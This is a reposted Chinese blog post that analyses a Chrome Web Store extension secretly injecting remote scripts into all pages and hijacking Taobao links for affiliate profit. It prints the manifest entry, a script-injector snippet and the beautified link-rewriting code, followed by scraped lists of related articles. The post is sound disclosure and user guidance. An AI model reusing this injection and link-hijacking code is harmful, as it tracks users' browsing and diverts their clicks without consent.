转载自https://www.imququ.com/post/chrome-extensions-and-user-privacy.html

 

Google Chrome浏览器应该早就是大家的默认了,就连我这个Firefox的忠实用户(至少7年),前不久也换到Chrome了。Chrome本身非常安全,但是很早就有网站报道Chrome扩展很容易在用户浏览的任意网站注入js,收集用户行为;替换链接进行盈利;甚至盗取用户账户信息。

今天从Chrome Web Store官方下载安装了几个扩展后,亲身体验到这一恶意行为。经过是这样的:

我装好Google出品的Page Speed之后,分析了一下我的个人博客。在它给出的建议里:“压缩 JavaScript”这一项居然有以下提示:

压缩以下 JavaScript 资源可腾出的空间大小为 274B(即缩减 100%)。

压缩 http://xxx.xxx.com/js/xxx/extension.js 可腾出的空间大小为 274B(即缩减 100%)。

显然,这个js不是我主动加入的。排除了服务器代码被篡改、传输过程中被篡改(我这种小流量个人博客,再黑心的运营商也不屑于篡改吧)两种可能之后,很快将目标锁定在新安装的几个Chrome扩展上。

输入chrome://extensions/查看已安装的扩展,找到有嫌疑的扩展,记下ID。打开Chrome存放扩展的目录(不同系统在不同目录,可以网上搜下,或者用Everything找),Mac OS的在:~/Library/Application Support/Google/Chrome/Default/Extensions。找到与之前记下的ID相匹配的目录进去。首先扫一眼扩展根目录的manifest.json。果然,目标暴露了:

 
"content_scripts": [ {
      "js": [ "js/inject.js" ],
      "matches": [ "http://*/*" ],
      "run_at""document_idle"
   } ]

content scrpits是在页面内运行的JavaScript脚本,通过使用标准的DOM,可以获取或修改用户浏览页面的详细信息。一般Chrome扩展通过content scripts用来增强特定网站功能,除少数对所有网站都有用的扩展(如迅雷私有链转换扩展)之外,matches项只需要包含特定网站即可。而我遇到的这个扩展,显然不需要有在任何网站运行JS的权限。

看下inject.js的代码:

 
(function(){
    function init(){
        var s,head;
        s=document.createElement("script");
        s.type="text/javascript";
        s.charset="utf-8";
        head = document.getElementsByTagName('head')[0];
        head.appendChild(s);
    }
    init();
})();

这段代码又引入了作者服务器上的一个js文件,也就是被Page Speed发现的那个文件。引入在线文件的好处是灵活可控,服务端可以随时更改策略。再看下这个文件的内容:

 
(function(){
  var s,head;
    s=document.createElement("script");
    s.type="text/javascript";
    s.charset="utf-8";
    head = document.getElementsByTagName('head')[0];
    head.appendChild(s);
})();

很囧的是这个js继续引入了另外一个js文件,好在没有更多了,这就是我们要找的。代码被压缩过,jsbeautifier下,真相大白(节选后的代码还是很长,默认折叠,有兴趣的同学可以点开看):

 
SITE_PATTERN: {
    "^(http|https)://www\.(taobao|tmall)\.com/""tb",
    "^(http|https)://*/*""other"
}
//...
injectHtml: function (a, b) {
    switch (b.site) {
        case "tb":
            A1eg300.linkConvert();
            break;
        default:
            break
    }
}
//...
linkConvertProbability: function () {
    var a = 31;
    var b = 10;
    var c = new Date().getMilliseconds();
    var d = c % a;
    var e = A1eg300.util.getRandomNum(0, a - 1);
    d = Math.round(d / b);
    e = Math.round(e / b);
    if (d == e) {
        return true
    else {
        return false
    }
}
//...
linkConvertParams: function (a, b) {
    var c = "api/linkparam/";
    var d = {
        "key": a,
        "op""get"
    };
    A1eg300.util.jsonp(c, d, b)
}
//...
linkConvert: function () {
    var a = true;
    if (a) {
        var b = A1eg300.keys.userLinkConvert;
        A1eg300.linkConvertParams(b, function (c) {
            var d = c.result;
            if ( !! d) {
                var e = false;
                if ( !! c[b]) {
                    A1eg300.params.isLinkConverted = true
                };
                if (!A1eg300.params.isLinkConverted) {
                    e = true
                };
                if (e) {
                    var f = c.redirectUrl;
                    A1eg300.$("a").each(function () {
                        var g = A1eg300.$(this);
                        var h = A1eg300.$(this).attr("href");
                        g.click(function () {
                            if (!A1eg300.params.isLinkConverted && "undefined" !== typeof h && "" !== h && null !== h) {
                                f += "?r=taobao&link=" + encodeURIComponent(h);
                                A1eg300.$(this).attr("href", f);
                                var i = true;
                                var j = 7 * 24 * 3600;
                                A1eg300.api.setCookie(b, i, j, function () {
                                    A1eg300.params.isLinkConverted = true;
                                    A1eg300.$(this).attr("href", h)
                                })
                            }
                        }).mouseover(function () {
                            var i = A1eg300.$(this).attr("href");
                            if (f === i) {
                                A1eg300.$(this).attr("href", h)
                            }
                        })
                    })
                }
            }
        })
    }
}

上面这段代码至少做了几件事:获取用户当前浏览的页面url并将其分类(tb|other);将url发送给服务器(linkConvertParams);根据服务器返回的内容替换页面上的链接地址(linkConvert)。

本文只想谈谈Chrome扩展带来的安全隐患,并不想讨伐某个具体的扩展。该扩展的名称、代码暴露的网址我故意隐藏掉了。该作者的其他扩展也有类似的代码,扩展本身都非常优秀:功能实用、界面美观、交互流畅,在Chrome商店都有5w左右的安装量。

一直不太认同Google宽松的审核制度。拿移动市场来说,几大市场只有Google Play可以在几个小时内上架新App。不负责任的审核,导致Android官方市场经常出现恶意App,相信Chrome商店也有类似问题。Google一直都在推广自己的浏览器,一直在给大家灌输Chrome是最安全的浏览器的思想。我觉得Google也应该承担起相应的责任,减少用户隐私被泄露的可能。至少,对普通用户而言,他们需要对有自己的隐私数据有知情权和选择权。虽然Chrome商店在不起眼的地方写了类似于“Your data on all websites;Your tabs and browsing activity”的权限说明,但这对普通用户来说,作用非常有限。

现阶段,对于普通用户,推荐只安装知名扩展和官方开发的扩展。懂技术的同学可以通过“开发者工具”的“Network”和“Sources”两个tab来检查已安装的扩展有没有异常的行为,自己改掉有问题的代码。Chrome扩展的优点是代码透明,改起来非常方便。

Chrome扩展开发者花费了大量的心血开发免费软件给用户使用,很难得,尝试从扩展中获利也无可厚非。但个人认为,这种完全不告知用户的情况下就收集数据,甚至修改页面始终是不厚道的。本人也是一名开发者,深刻体会到在这个神奇的国度开发软件想要通过正当途径赚钱有多么不容易。直接收费不现实;放Google广告转化率太低;靠捐助也几乎不可能。不过外界环境恶劣不应该成为作恶的借口,有些底限还是要守住的。

Chrome扩展与用户隐私的更多相关文章

  1. Chrome和火狐插件让数以百万计用户隐私数据泄露

      https://tech.163.com/19/0721/12/EKK1PRAU00097U7R.html   网易科技讯7月21日消息,据国外媒体报道,流行浏览器诸如广告拦截等扩展功能,已经遭利 ...

  2. 分享一些好用的 Chrome 扩展

    阅读本文大概需要 2.8 分钟. 前言 使用浏览器扩展程序可以使你的工作效率提高数倍不止,那么下面我就向大家分享一下我日常使用的扩展,可能大多数扩展大家都已经在使用了,不过也难免有一两个是你不知道的. ...

  3. Chrome扩展开发之二——Chrome扩展中脚本的运行机制和通信方式

    目录: 0.Chrome扩展开发(Gmail附件管理助手)系列之〇——概述 1.Chrome扩展开发之一——Chrome扩展的文件结构 2.Chrome扩展开发之二——Chrome扩展中脚本的运行机制 ...

  4. 实现chrome扩展启动本地进程 - 补充

    实现chrome扩展启动本地进程 - 补充 标签: chrome扩展启动本地程序访问本地磁盘 2014-10-17 11:42 6753人阅读 评论(17) 收藏 举报  分类: Chrome Plu ...

  5. 手把手教你开发chrome扩展一:开发Chrome Extenstion其实很简单

    手把手教你开发chrome扩展一:开发Chrome Extenstion其实很简单   手把手教你开发chrome扩展一:开发Chrome Extenstion其实很简单 手把手教你开发Chrome扩 ...

  6. chrome扩展

    chrome拓展开发实战:页面脚本的拦截注入 时间 2015-07-24 11:15:00  博客园精华区 原文  http://www.cnblogs.com/horve/p/4672890.htm ...

  7. Chrome扩展开发(Gmail附件管理助手)系列之〇——概述

    目录: 0.Chrome扩展开发(Gmail附件管理助手)系列之〇——概述 1.Chrome扩展开发之一——Chrome扩展的文件结构 2.Chrome扩展开发之二——Chrome扩展中脚本的运行机制 ...

  8. Chrome扩展开发之一——Chrome扩展的文件结构

    目录: 0.Chrome扩展开发(Gmail附件管理助手)系列之〇——概述 1.Chrome扩展开发之一——Chrome扩展的文件结构 2.Chrome扩展开发之二——Chrome扩展中脚本的运行机制 ...

  9. Chrome扩展开发之三——Chrome扩展中的数据本地存储和下载

    目录: 0.Chrome扩展开发(Gmail附件管理助手)系列之〇——概述 1.Chrome扩展开发之一——Chrome扩展的文件结构 2.Chrome扩展开发之二——Chrome扩展中脚本的运行机制 ...

随机推荐

  1. Squares(哈希)

    Time Limit: 3500MS   Memory Limit: 65536K Total Submissions: 14328   Accepted: 5393 Description A sq ...

  2. BZOJ 1029 [JSOI2007]建筑抢修 已更新

    1029: [JSOI2007]建筑抢修 Time Limit: 4 Sec  Memory Limit: 162 MBSubmit: 2748  Solved: 1213[Submit][Statu ...

  3. POJ-3294-Life Forms(后缀数组-不小于 k 个字符串中的最长子串)

    题意: 给定 n 个字符串,求出现在不小于 k 个字符串中的最长子串. 分析: 将 n 个字符串连起来,中间用不相同的且没有出现在字符串中的字符隔开,求后缀数组. 然后二分答案,将后缀分成若干组,判断 ...

  4. 图论(差分约束系统):POJ 1201 Intervals

    Intervals Time Limit: 2000MS   Memory Limit: 65536K Total Submissions: 24099   Accepted: 9159 Descri ...

  5. 网络流(最大费用最大流) :POJ 3680 Intervals

    Intervals Time Limit: 5000MS   Memory Limit: 65536K Total Submissions: 7218   Accepted: 3011 Descrip ...

  6. Remove Duplicates from Sorted List II ——LeetCode

    Given a sorted linked list, delete all nodes that have duplicate numbers, leaving only distinct numb ...

  7. 暴力求解——最大乘积 Maximum Product,UVa 11059

    最大乘积 Maximum Product 题目链接:http://acm.hust.edu.cn/vjudge/contest/view.action?cid=84562#problem/B 解题思路 ...

  8. [转载]值得推荐的C/C++框架和库

    值得学习的C语言开源项目 C++ 资源大全 值得学习的C语言开源项目 1.Webbench Webbench是一个在linux下使用的非常简单的网站压测工具.它使用fork()模拟多个客户端同时访问我 ...

  9. RAII(Resource Acquisition Is Initialization)资源获得式初始化

    当在编写代码中用到异常,非常重要的一点是:“如果异常发生,程序占用的资源都被正确地清理了吗?” 大多数情况下不用担心,但是在构造函数里有一个特殊的问题:如果一个对象的构造函数在执行过程中抛出异常,那么 ...

  10. IT项目经理应具备的十大软技能

    现在,企业对IT部项目经理的要求越来越多.如果你认为IT项目成员只需要技术性能力,那可就错了. 据IT招聘公司调查发现,几年人们对项目管理软技能的兴趣明显浓厚起来.许多企业尽量避免把IT部门看成只是成 ...